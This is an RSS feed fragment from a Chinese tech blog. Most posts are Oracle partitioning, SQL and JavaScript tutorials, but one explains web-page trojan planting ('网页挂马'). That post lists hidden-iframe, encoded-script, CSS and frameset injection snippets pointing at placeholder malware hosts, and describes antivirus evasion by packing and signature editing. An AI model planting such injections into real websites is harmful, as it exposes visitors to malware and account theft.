同样的，对全局索引根据执行计划可以看出索引已经可以使用：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;sel&#101;ct&nbsp;*&nbsp;from&nbsp;dinya_test&nbsp;t&nbsp;wh&#101;re&nbsp;t.item_id=12;&nbsp;&lt;BR&gt;Execution&nbsp;Plan&nbsp;&lt;BR&gt;----------------------------------------------------------&nbsp;&lt;BR&gt;0&nbsp;Sel&#101;ct&nbsp;STATEMENT&nbsp;Optimizer=CHOOSE&nbsp;(Cost=2&nbsp;Card=3&nbsp;Bytes=561)&nbsp;&lt;BR&gt;1&nbsp;0&nbsp;TABLE&nbsp;ACCESS&nbsp;(BY&nbsp;GLOBAL&nbsp;INDEX&nbsp;ROWID)&nbsp;OF&nbsp;’DINYA_TEST’&nbsp;(Cost&nbsp;&lt;BR&gt;=2&nbsp;Card=3&nbsp;Bytes=561)&nbsp;&lt;BR&gt;2&nbsp;1&nbsp;INDEX&nbsp;(RANGE&nbsp;SCAN)&nbsp;OF&nbsp;’DINYA_IDX_T’&nbsp;(NON-UNIQUE)&nbsp;(Cost=1&nbsp;&lt;BR&gt;Card=3)&nbsp;&lt;BR&gt;Statistics&nbsp;&lt;BR&gt;----------------------------------------------------------&nbsp;&lt;BR&gt;5&nbsp;recursive&nbsp;calls&nbsp;&lt;BR&gt;0&nbsp;db&nbsp;block&nbsp;gets&nbsp;&lt;BR&gt;10&nbsp;consistent&nbsp;gets&nbsp;&lt;BR&gt;0&nbsp;physical&nbsp;reads&nbsp;&lt;BR&gt;&lt;BR&gt;0&nbsp;redo&nbsp;size&nbsp;&lt;BR&gt;420&nbsp;bytes&nbsp;sent&nbsp;via&nbsp;SQL*Net&nbsp;to&nbsp;client&nbsp;&lt;BR&gt;309&nbsp;bytes&nbsp;received&nbsp;via&nbsp;SQL*Net&nbsp;from&nbsp;client&nbsp;&lt;BR&gt;2&nbsp;SQL*Net&nbsp;roundtrips&nbsp;to/from&nbsp;client&nbsp;&lt;BR&gt;3&nbsp;sorts&nbsp;(memory)&nbsp;&lt;BR&gt;0&nbsp;sorts&nbsp;(disk)&nbsp;&lt;BR&gt;5&nbsp;rows&nbsp;processed&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　&lt;STRONG&gt;1.4.&nbsp;分区表的维护：&nbsp;&lt;/STRONG&gt;&lt;BR&gt;&lt;BR&gt;　　了解了分区表的建立、索引的建立、表和索引的使用后，在应用的还要经常对分区进行维护和管理。日常维护和管理的内容包括：增加一个分区，合并一个分区及删除分区等等。下面以范围分区为例说明增加、合并、删除分区的一般操作：&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.4.1.&nbsp;增加一个分区:&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;alt&#101;r&nbsp;table&nbsp;dinya_test&nbsp;&lt;BR&gt;2&nbsp;add&nbsp;partition&nbsp;part_04&nbsp;values&nbsp;less&nbsp;than(to_date(’2012-01-01’,’yyyy-mm-dd’))&nbsp;&lt;BR&gt;tablespace&nbsp;dinya_spa&nbsp;&lt;BR&gt;ce03;&nbsp;&lt;BR&gt;Table&nbsp;alt&#101;red.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　增加一个分区的时候，增加的分区的条件必须大于现有分区的最大值，否则系统将提示ORA-14074&nbsp;partition&nbsp;bound&nbsp;must&nbsp;collate&nbsp;higher&nbsp;than&nbsp;that&nbsp;of&nbsp;the&nbsp;last&nbsp;partition&nbsp;错误。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.4.2.&nbsp;合并一个分区：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;alt&#101;r&nbsp;table&nbsp;dinya_test&nbsp;merge&nbsp;partitions&nbsp;part_01,part_02&nbsp;into&nbsp;partition&nbsp;part_02;&nbsp;&lt;BR&gt;Table&nbsp;alt&#101;red.&nbsp;&lt;BR&gt;SQL&amp;gt;&nbsp;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　在本例中将原有的表的part_01分区和part_02分区进行了合并，合并后的分区为part_02,如果在合并的时候把合并后的分区定为part_01的时候，系统将提示ORA-14275&nbsp;cannot&nbsp;reuse&nbsp;lower-bound&nbsp;partition&nbsp;as&nbsp;resulting&nbsp;partition&nbsp;错误。&nbsp;&lt;BR&gt;&lt;BR&gt;　　1.4.3.&nbsp;删除分区：&nbsp;&lt;BR&gt;&lt;BR&gt;<br/>&lt;TABLE&nbsp;borderColor=#ffcc66&nbsp;width=&#34;90%&#34;&nbsp;align=center&nbsp;bgColor=#dadacf&nbsp;border=1&gt;<br/>&lt;TBODY&gt;<br/>&lt;TR&gt;<br/>&lt;TD&gt;SQL&amp;gt;&nbsp;alt&#101;r&nbsp;table&nbsp;dinya_test&nbsp;dro&#112;&nbsp;partition&nbsp;part_01;&nbsp;&lt;BR&gt;Table&nbsp;alt&#101;red.&nbsp;&lt;BR&gt;SQL&amp;gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;　　删除分区表的一个分区后，查询该表的数据时显示，该分区中的数据已全部丢失，所以执行删除分区动作时要慎重，确保先备份数据后再执行，或将分区合并。&nbsp;&lt;BR&gt;&lt;BR&gt;　　&lt;STRONG&gt;1.5.&nbsp;总结：&lt;/STRONG&gt;&nbsp;&lt;BR&gt;&lt;BR&gt;　　需要说明的是，本文在举例说名分区表事务操作的时候，都指定了分区，因为指定了分区，系统在执行的时候则只操作该分区的记录，提高了数据处理的速度。不要指定分区直接操作数据也是可以的。在分区表上建索引及多索引的使用和非分区表一样。此外，因为在维护分区的时候可能对分区的索引会产生一定的影响，可能需要在维护之后重建索引，相关内容请参考分区表索引部分的文档。&lt;/P&gt;]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=199</link>
			<title><![CDATA[Javascript 传参数]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Sun,15 Jun 2008 14:33:09 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=199</guid>	
		<description><![CDATA[也就是<br/>xxx.com/hello.htm?lp=heihei&amp;id=007<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://blog.flashtc.com/images/html.gif" style="margin:0px 2px -3px 0px"> HTML代码</div><div class="UBBContent"><TEXTAREA rows="8" id="temp31370"><script>
String.prototype.QueryString = function(){
var mystr_Arr = this.substr(1,this.length).split(&#34;&amp;&#34;);        
var myArr = new Array();
for(var i = 0;i<mystr_Arr.length;i++)
{var tempStr = mystr_Arr[i].split(&#34;=&#34;);
myArr[tempStr[0]] = tempStr[1];                
}
return myArr;
}
alert(window.location.search);
alert(&#34;lp=&#34;+window.location.search.QueryString()[&#34;lp&#34;]);
alert(&#34;id=&#34;+window.location.search.QueryString()[&#34;id&#34;]);
</script></TEXTAREA><br/><INPUT onclick="runEx('temp31370')"  type="button" value="运行此代码"/> <INPUT onclick="doCopy('temp31370')"  type="button" value="复制此代码"/><br/> [Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div></div>]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=198</link>
			<title><![CDATA[看见..]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Note]]></category>
			<pubDate>Sun,15 Jun 2008 14:31:03 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=198</guid>	
		<description><![CDATA[人生总有许多要支撑,少年的梦想,青春的恋情,<br/>事业与友情等许许多多;然而这一切都有失去的<br/>可能;<br/>&nbsp;人生总有几段黑暗的隧道要自己独行，这些路<br/>上没有乐队和鲜花，必须学会为自己伴奏，高歌<br/>而行；<br/>&nbsp;为自己伴奏，就能够驱除心中的孤寂和恐惧，就<br/>能够从容的走过一个个泥泞的雨夜，在第二天的晴<br/>空下拥抱一个崭新的自己！<br/>&nbsp;&nbsp;只要我们够坚强、够勇敢、够对立，别人就会对<br/>我们好一点，这不是人情冷暖，而是天的资助，不<br/>是别人的趋炎附势，而是一种天赐的公平！]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=197</link>
			<title><![CDATA[JavaScript判断按键事件]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Sat,14 Jun 2008 16:47:24 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=197</guid>	
		<description><![CDATA[<div class="UBBPanel"><div class="UBBTitle"><img src="http://blog.flashtc.com/images/html.gif" style="margin:0px 2px -3px 0px"> HTML代码</div><div class="UBBContent"><TEXTAREA rows="8" id="temp35547"><script language=&#34;javascript&#34;>
ns4 = (document.layers) ? true : false;
ie4 = (document.all) ? true : false;
function keyDown(e){
if(ns4){
var nkey=e.which;
var iekey='现在是ns浏览器';
var realkey=String.fromCharCode(e.which);
}
if(ie4){
var iekey=event.keyCode;
var nkey='现在是ie浏览器';
var realkey=String.fromCharCode(event.keyCode);
if(event.keyCode==32){realkey='\' 空格\''}
if(event.keyCode==13){realkey='\' 回车\''}
if(event.keyCode==27){realkey='\' Esc\''}
if(event.keyCode==16){realkey='\' Shift\''}
if(event.keyCode==17){realkey='\' Ctrl\''}
if(event.keyCode==18){realkey='\' Alt\''}
}
alert('ns浏览器中键值:'+nkey+'\n'+'ie浏览器中键值:'+iekey+'\n'+'实际键为'+realkey);
}
document.onkeydown = keyDown;
if(ns4){
document.captureEvents(Event.KEYDOWN);}
</script>
<input type=text onkeydown=keyDown(this)></TEXTAREA><br/><INPUT onclick="runEx('temp35547')"  type="button" value="运行此代码"/> <INPUT onclick="doCopy('temp35547')"  type="button" value="复制此代码"/><br/> [Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div></div><br/><br/><br/><br/><br/><br/>**********************************************************************<br/>使用javascript在WEB页面中截获键盘输入<br/>使用event对象的keyCode属性判断输入的键值<br/>eg：if(event.keyCode==13)alert(“enter!”);<br/>键值对应表<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://blog.flashtc.com/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">A　　0X65&nbsp;　U&nbsp;　　0X85<br/>B　　0X66　&nbsp;V　　&nbsp;0X86<br/>C　　0X67　&nbsp;W　　&nbsp;0X87<br/>D　　0X68　&nbsp;X&nbsp;　　0X88<br/>E　　0X69　&nbsp;Y　　&nbsp;0X89<br/>F　　0X70　&nbsp;Z　　&nbsp;0X90<br/>G　　0X71　&nbsp;0　　&nbsp;0X48<br/>H　　0X72　&nbsp;1　　&nbsp;0X49<br/>I　　0X73　&nbsp;2　　&nbsp;0X50<br/>J　　0X74　&nbsp;3&nbsp;　　0X51<br/>K　　0X75　&nbsp;4&nbsp;　　0X52<br/>L　　0X76　&nbsp;5&nbsp;　　0X53<br/>M　　0X77　&nbsp;6　　&nbsp;0X54<br/>N　　0X78&nbsp;　7&nbsp;　　0X55<br/>O　　0X79&nbsp;　8&nbsp;　　0X56<br/>P　　0X80&nbsp;　9&nbsp;　　0X57<br/>Q　　0X81　ESC　　0X1B<br/>R　　0X82　CTRL&nbsp;　0X11<br/>S　　0X83　SHIFT　0X10<br/>T　　0X84　ENTER　0XD</div></div><br/>如果要使用组合键，则可以利用event.ctrlKey，event.shiftKey，event&nbsp;.altKey判断是否按下了ctrl键、shift键以及alt键]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=196</link>
			<title><![CDATA[递归 SQL]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Database]]></category>
			<pubDate>Mon,26 May 2008 16:20:29 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=196</guid>	
		<description><![CDATA[递归&nbsp;SQL<br/><br/><br/>a表：<br/>aid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum<br/>-----------------<br/>01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0<br/>01.01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0<br/>01.01.01&nbsp;0<br/>01.02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0<br/>01.02.01&nbsp;0<br/>01.02.02&nbsp;0<br/><br/>b表：<br/>bid&nbsp;aid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;qty<br/>---------------------<br/>1&nbsp;&nbsp;&nbsp;&nbsp;01.01.01&nbsp;118<br/>2&nbsp;&nbsp;&nbsp;&nbsp;01.02.01&nbsp;125<br/>3&nbsp;&nbsp;&nbsp;&nbsp;01.02.02&nbsp;113<br/>4&nbsp;&nbsp;&nbsp;&nbsp;01.01.01&nbsp;142<br/>5&nbsp;&nbsp;&nbsp;&nbsp;01.02.01&nbsp;157<br/><br/>将b表数据汇总更新至a表为：<br/>aid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum<br/>----------------<br/>01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;655<br/>01.01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;260<br/>01.01.01&nbsp;260<br/>01.02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;395<br/>01.02.01&nbsp;282<br/>01.02.02&nbsp;113<br/><br/>SQL语句为：<br/><br/>1.&nbsp;列出汇总数据<br/>Sel&#101;ct&nbsp;<br/>&nbsp;&nbsp;&nbsp;aid,<br/>&nbsp;&nbsp;&nbsp;sum=(Sel&#101;ct&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUM(qty)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;b&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wh&#101;re&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;aid&nbsp;LIKE&nbsp;(RTRIM(a.aid)&nbsp;+&nbsp;&#39;%&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)<br/>FROM&nbsp;a;<br/><br/>2.&nbsp;更新汇总表<br/>Up&#100;ate&nbsp;a&nbsp;<br/>SET&nbsp;<br/>&nbsp;&nbsp;&nbsp;sum=(Sel&#101;ct&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum=(Sel&#101;ct&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUM(qty)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;b<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wh&#101;re&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;aid&nbsp;LIKE&nbsp;(RTRIM(aa.aid)&nbsp;+&nbsp;&#39;%&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;a&nbsp;aa&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wh&#101;re&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a.aid=aa.aid)<br/><br/>建试验表SQL语句：<br/>Cr&#101;ate&nbsp;TABLE&nbsp;a(<br/>aid&nbsp;VARCHAR(20)&nbsp;NOT&nbsp;NULL,<br/>sum&nbsp;NUMERIC(10),<br/>PRIMARY&nbsp;KEY(aid)<br/>);<br/>Ins&#101;rt&nbsp;INTO&nbsp;a(aid,sum)&nbsp;VALUES(&#39;01&#39;,0);<br/>Ins&#101;rt&nbsp;INTO&nbsp;a(aid,sum)&nbsp;VALUES(&#39;01.01&#39;,0);<br/>Ins&#101;rt&nbsp;INTO&nbsp;a(aid,sum)&nbsp;VALUES(&#39;01.01.01&#39;,0);<br/>Ins&#101;rt&nbsp;INTO&nbsp;a(aid,sum)&nbsp;VALUES(&#39;01.02&#39;,0);<br/>Ins&#101;rt&nbsp;INTO&nbsp;a(aid,sum)&nbsp;VALUES(&#39;01.02.01&#39;,0);<br/>Ins&#101;rt&nbsp;INTO&nbsp;a(aid,sum)&nbsp;VALUES(&#39;01.02.02&#39;,0);<br/>Cr&#101;ate&nbsp;TABLE&nbsp;b(<br/>bid&nbsp;BIGINT&nbsp;IDENTITY&nbsp;(1,&nbsp;1)&nbsp;NOT&nbsp;NULL,&nbsp;&nbsp;<br/>aid&nbsp;VARCHAR(20)&nbsp;NOT&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>qty&nbsp;NUMERIC(10),&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>PRIMARY&nbsp;KEY(bid)<br/>);<br/>Ins&#101;rt&nbsp;INTO&nbsp;b(aid,qty)&nbsp;VALUES(&#39;01.01.01&#39;,118);<br/>Ins&#101;rt&nbsp;INTO&nbsp;b(aid,qty)&nbsp;VALUES(&#39;01.02.01&#39;,125);<br/>Ins&#101;rt&nbsp;INTO&nbsp;b(aid,qty)&nbsp;VALUES(&#39;01.02.02&#39;,113);<br/>Ins&#101;rt&nbsp;INTO&nbsp;b(aid,qty)&nbsp;VALUES(&#39;01.01.01&#39;,142);<br/>Ins&#101;rt&nbsp;INTO&nbsp;b(aid,qty)&nbsp;VALUES(&#39;01.02.01&#39;,157);<br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=195</link>
			<title><![CDATA[Google翻译接口]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Mon,05 May 2008 21:26:09 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=195</guid>	
		<description><![CDATA[<div class="UBBPanel"><div class="UBBTitle"><img src="http://blog.flashtc.com/images/html.gif" style="margin:0px 2px -3px 0px"> HTML代码</div><div class="UBBContent"><TEXTAREA rows="8" id="temp24812"><html>   
<head>   
<script type=&#34;text/javascript&#34; src=&#34;<a href="http://www.google.com/jsapi" target="_blank">http://www.google.com/jsapi</a>&#34;></script>   
<script type=&#34;text/javascript&#34;>   
google.load(&#34;language&#34;, &#34;1&#34;);        
function initialize()    
{    
    var text = document.getElementById(&#34;text&#34;).innerHTML;    
    google.language.detect(text, function(result)     
    {    
        if (!result.error &amp;&amp; result.language)     
        {    
        alert(result.language);    
            google.language.translate(text, result.language, &#34;en&#34;,                                       
            function(result)     
            {    
                var translated = document.getElementById(&#34;translation&#34;);                
                if (result.translation)     
                {    
                    translated.innerHTML = result.translation;                
                }              
            });    
        }          
    });       
}    
</script>   
</head>      
<body>   
<textarea id = 'text'><&#47textarea>     
<input type='button' value='翻译' onclick='initialize()'>   
<div id=&#34;translation&#34;></div>      
</body>   
</html> </TEXTAREA><br/><INPUT onclick="runEx('temp24812')"  type="button" value="运行此代码"/> <INPUT onclick="doCopy('temp24812')"  type="button" value="复制此代码"/><br/> [Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div></div>]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=194</link>
			<title><![CDATA[什么是网页挂马？]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Wed,23 Apr 2008 19:31:22 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=194</guid>	
		<description><![CDATA[<p><strong>什么是网页挂马？</strong></p>
<p>网页挂马指的是把一个木马程序上传到一个网站里面然后用木马生成器生一个网马，再上到空间里面！再加代码使得木马在打开网页是运行。网页挂马的方法多种多样。</p>
<p>现在很多网站都被挂上了马，身为站长，恐怕是最怕的问题，一旦事发，影响用户是小，一旦被google贴上此网站可能有病毒的标签，恐怕会给网站带来很大的损失，下面就对一些常用的挂马方式做下分析<br /><strong>一：iframe挂马<br /></strong>&lt;iframe src=地址 width=0 height=0&gt;&lt;/iframe&gt; <br />&lt;iframe&gt;是内嵌框架,跟是否被挂马没有关系,可以在html里显示另一个网页,关于框架的问题可以在百度里搜,有很多具体用法 <br />被挂马后就是中了木马病毒,轻的链到人家写入的网页,重的资料被盗,程序被破坏,注意安好杀毒软件.</p>
<p><strong>iframe用法: <br /></strong>iframe可以嵌在网页中的任意部分,举个例子： <br />&lt;iframe width=420 height=330 frameborder=0 scrolling=auto src=URL&gt;&lt;/iframe&gt;，这里的URL可以是相对路径，也可以是绝对路径, <br />width表示宽度，height表示宽度，可根据实际情况调整。 <br />scrolling表示是否显示页面滚动条，可选的参数为auto、yes、no，如果省略这个参数，则默认为auto。 <br />然后给这个iframe命名,方法是&lt;iframe name=**&gt;，如命名为baidu，写入这句HTML语言&lt;iframe width=420 height=330 name=baidu frameborder=0 src=http://www.chinaz.com&gt;&lt;/iframe&gt;， <br />再打开这个网页的时候就会有一个420*330的区域显示百度的页面.如果想引入其它页面,可以在网页上写超链接语句：&lt;a href=&quot;要显示的页面链接地址&quot;&gt;</p>
<p>如果把frameborder设为1，效果就像文本框一样</p>
<p><strong>二:js文件挂马</strong></p>
<p>首先将以下代码<br />document.write(&quot;&lt;iframe width=0 height=0 src=地址&gt;&lt;/iframe&gt;&quot;);<br />保存为xxx.js，<br />则JS挂马代码为<br />&lt;script language=javascript src=xxx.js&gt;&lt;/script&gt;</p>
<p><strong>三:<a name="baidusnap0"></a><b style="COLOR: black; BACKGROUND-COLOR: #ffff66">js变形加密</b></strong></p>
<p>&lt;SCRIPT language=&quot;JScript.Encode&quot; src=http://www.xxx.com/muma.txt&gt;&lt;/script&gt; <br />muma.txt可改成任意后缀</p>
<p><strong>四:body挂马</strong></p>
<p>&lt;body onload=&quot;window.location=地址;&quot;&gt;&lt;/body&gt;</p>
<p><strong>五:隐蔽挂马</strong></p>
<p>top.document.body.innerHTML = top.document.body.innerHTML + <br />&lt;iframe src=&quot;http://www.xxx.com/muma.htm/&quot;&gt;&lt;/iframe&gt;;</p>
<p><strong>六:css中挂马</strong></p>
<p>body { <br />background-image: url(javascript:document.write(&quot;&lt;script src=http://www.XXX.net/muma.js&gt;&lt;/script&gt;&quot;))}</p>
<p><strong>七:JAJA挂马</strong></p>
<p>&lt;SCRIPT language=javascript&gt; <br />window.open (&quot;地址&quot;,&quot;&quot;,&quot;toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1&quot;); <br />&lt;/script&gt;</p>
<p><strong>八:图片伪装</strong></p>
<p>&lt;html&gt;<br />&lt;iframe src=&quot;网马地址&quot; height=0 width=0&gt;&lt;/iframe&gt;<br />&lt;img src=&quot;图片地址&quot;&gt;&lt;/center&gt;<br />&lt;/html&gt;</p>
<p><strong>九:伪装调用：</strong></p>
<p>&lt;frameset rows=&quot;444,0&quot; cols=&quot;*&quot;&gt;<br />&lt;frame src=&quot;打开网页&quot; framborder=&quot;no&quot; scrolling=&quot;auto&quot; noresize marginwidth=&quot;0&quot;margingheight=&quot;0&quot;&gt;<br />&lt;frame src=&quot;网马地址&quot; frameborder=&quot;no&quot; scrolling=&quot;no&quot; noresize marginwidth=&quot;0&quot;margingheight=&quot;0&quot;&gt;<br />&lt;/frameset&gt;</p>
<p><strong>十:高级欺骗</strong></p>
<p>&lt;a href=&quot;http://www.chinaz.com(迷惑连接地址，显示这个地址指向木马地址)&quot; onMouseOver=&quot;www_chinaz_com(); return true;&quot;&gt; 页面要显示的内容 &lt;/a&gt;<br />&lt;SCRIPT Language=&quot;JavaScript&quot;&gt;<br />function www_chinaz_com ()<br />{<br />var url=&quot;网马地址&quot;;<br />open(url,&quot;NewWindow&quot;,&quot;toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10&quot;);<br />}<br />&lt;/SCRIPT&gt;</p>
<p><strong>网页是如何被挂马的</strong></p>
<p>很多朋友都碰到过这样的现象：打开一个网站，结果页面还没显示，杀毒软件就开始报警，提示检测到木马病毒。有经验的朋友会知道这是网页病毒，但是自己打开的明明是正规网站，没有哪家正规网站会将病毒放在自己的网页上吧？那么是什么导致了这种现象的发生呢？其中最有可能的一个原因就是：这个网站被挂马了。</p>
<p>&nbsp;&nbsp;&nbsp; 挂马这个词目前我们似乎经常能听到，那么什么是挂马呢？挂马就是黑客入侵了一些网站后，将自己编写的网页木马嵌入被黑网站的主页中，利用被黑网站的流量将自己的网页木马传播开去，以达到自己不可告人的目的。例如很多游戏网站被挂马，黑客的目的就是盗取浏览该网站玩家的游戏账号，而那些大型网站被挂马，则是为了搜集大量的肉鸡。网站被挂马不仅会让自己的网站失去信誉，丢失大量客户，也会让我们这些普通用户陷入黑客设下的陷阱，沦为黑客的肉鸡。下面就让我们来了解这种时下最流行的黑客攻击手段。</p>
<p><strong>挂马的核心：木马</strong></p>
<p>&nbsp;&nbsp;&nbsp; 从&ldquo;挂马&rdquo;这个词中我们就可以知道，这和木马脱离不了关系。的确，挂马的目的就是将木马传播出去，挂马只是一种手段。挂马使用的木马大致可以分为两类：一类是以远程控制为目的的木马，黑客使用这种木马进行挂马攻击，其目的是为了得到大量的肉鸡，以此对某些网站实施拒绝服务攻击或达到其他目的（目前绝大多数实施拒绝服务攻击的傀儡计算机都是挂马攻击的受害者）。另一类是键盘记录木马，我们通常称其为盗号木马，其目的不言而喻，都是冲着我们的游戏帐号或者银行帐号来的。目前挂马所使用的木马多数属于后者。</p>
<p><strong>木马的免杀伎俩</strong></p>
<p>&nbsp;&nbsp;&nbsp; 作为挂马所用的木马，其隐蔽性一定要高，这样就可以让用户在不知不觉中运行木马，也可以让挂马的页面存活更多的时间。黑客为了让木马躲避杀毒软件的查杀，使用的伎俩很多。通常使用的方法有：<br />&nbsp;&nbsp;&nbsp; 加壳处理：关于壳的概念我们曾经介绍过，就是为了让别人无法修改编译好的程序文件，同时压缩程序体积。木马经过加壳这一道工序后就有可能逃过杀毒软件的查杀，这也是为什么我们装了杀毒软件还会感染老病毒的原因。虽然目前的杀毒软件都支持对程序脱壳后再查杀，但只局限于一些比较热门的加壳程序，例如aspack、UPX等，而碰上一些经过冷门加壳程序处理后的木马时，就无能为力了。所以加壳仍是黑客比较常用的免杀伎俩之一。</p>
<p><strong>冷门的加壳程序</strong><br />&nbsp;&nbsp;&nbsp; 修改特征码：杀毒软件是根据病毒特征码来判定一个程序是否是病毒的。杀毒软件在对程序进行检测时，如果在程序中发现了病毒特征码，就将该程序判定为病毒。黑客当然也明白这个道理，于是他们会修改木马中被定为特征码的部分代码，将其加密或使用汇编指令将其跳转，这样杀毒软件就无法在木马中找到病毒特征码，自然也就不会将其判定为病毒了。</p>
<p>&nbsp;&nbsp;&nbsp; 虽然这两种方法都可以躲过杀毒软件的查杀，但是我们还是有办法阻止木马运行的，具体方法将在防范部分讲到。那么木马是如何&ldquo;挂&rdquo;在网站上的呢？这里我们以&ldquo;灰鸽子&rdquo;木马为例，演示一下黑客挂马的过程。演示用的&ldquo;灰鸽子&rdquo;木马已经经过免杀处理，杀毒软件无法查杀。<br />&nbsp;&nbsp;&nbsp; <br /><strong>潜伏的攻击者：网页木马</strong></p>
<p>&nbsp;&nbsp;&nbsp; 为什么我们一打开网页就会运行木马程序，木马又是如何&ldquo;挂&rdquo;在网站上的呢？这就要涉及&ldquo;网页木马&rdquo;这个概念。</p>
